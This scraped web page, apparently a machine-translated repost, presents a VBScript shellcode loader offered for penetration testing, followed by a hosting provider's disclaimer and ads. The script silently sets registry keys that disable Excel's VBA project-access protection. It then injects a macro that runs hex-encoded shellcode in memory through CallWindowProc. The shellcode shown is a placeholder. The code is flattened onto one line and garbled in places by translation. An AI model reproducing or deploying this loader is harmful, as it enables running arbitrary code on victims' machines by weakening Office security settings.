Use vbs to perform shellcode elegantly

Source: Internet
Author: User

VBScript (Microsoft Visual Basic Script Editon), Microsoft's Visual BASIC Script version). As literally disclosed, VBS (further abbreviated as VBScript) is a Visual Basic-Based Script Language.
Lcx shares how to use vbs to execute shellcode. It is believed that it can play a role for security researchers in the penetration test process. The source code is as follows:

'Thanks http://demon.tw/.shellcode It is a bullet box and harmless. As we all know, vbs is difficult to execute APIs, but it can still be implemented. This is vbs, not vb! Dim WshShellDim oExcelset WshShell = CreateObject ("wscript. shell ") WshShell. regWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Office \ 11.0 \ Excel \ Security \ AccessVBOM", 1, "REG_DWORD" WshShell. regWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Office \ 12.0 \ Excel \ Security \ AccessVBOM", 1, "REG_DWORD" WshShell. regWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Office \ 14.0 \ Excel \ Security \ AccessVBOM", 1, "REG_DWORD" Sub Create Obj (oExcel) On Error Resume NextSet oExcel = CreateObject ("excel. application") If Err Thenwsh. echo "excel. application not! "End ifEnd Sub CreateObj oExcel Set oBook = oExcel. workbooks. addSet oModule = obook. VBProject. VBComponents. add (1) strCode = "Private Declare Function CallWindowProc Lib" "user32" "Alias" "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, byVal wParam As Long, ByVal lParam As Long) As Long "& vbCr & _" Sub MyMacro "& vbCr & _" Dim download () as Byte "& vbCr & _" Dim xmldoc, node, bytes "& vbCr & _" Set xmldoc = CreateObject ("" Msxml2.DOMDocument "") "& vbCr & _" Set node = xmldoc. createElement ("" binary "") "& vbCr & _" node. dataType = "" bin. hex "" & vbCr & _ "node. text = "" success "" & vbCr & _ "download = node. nodeTypedValue "& vbCr & _" CallWindowProc VarPtr (download (0), ByVal 0 &, ByVal 0 &, ByVal 0 &, byVal 0 & "& vbCr & _" End Sub "oModule. codeModule. addFromString strCodeOn Error Resume nextoExcel. run "MyMacro" oExcel. displayAlerts = FalseoBook. closeoExcel. quit

 

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.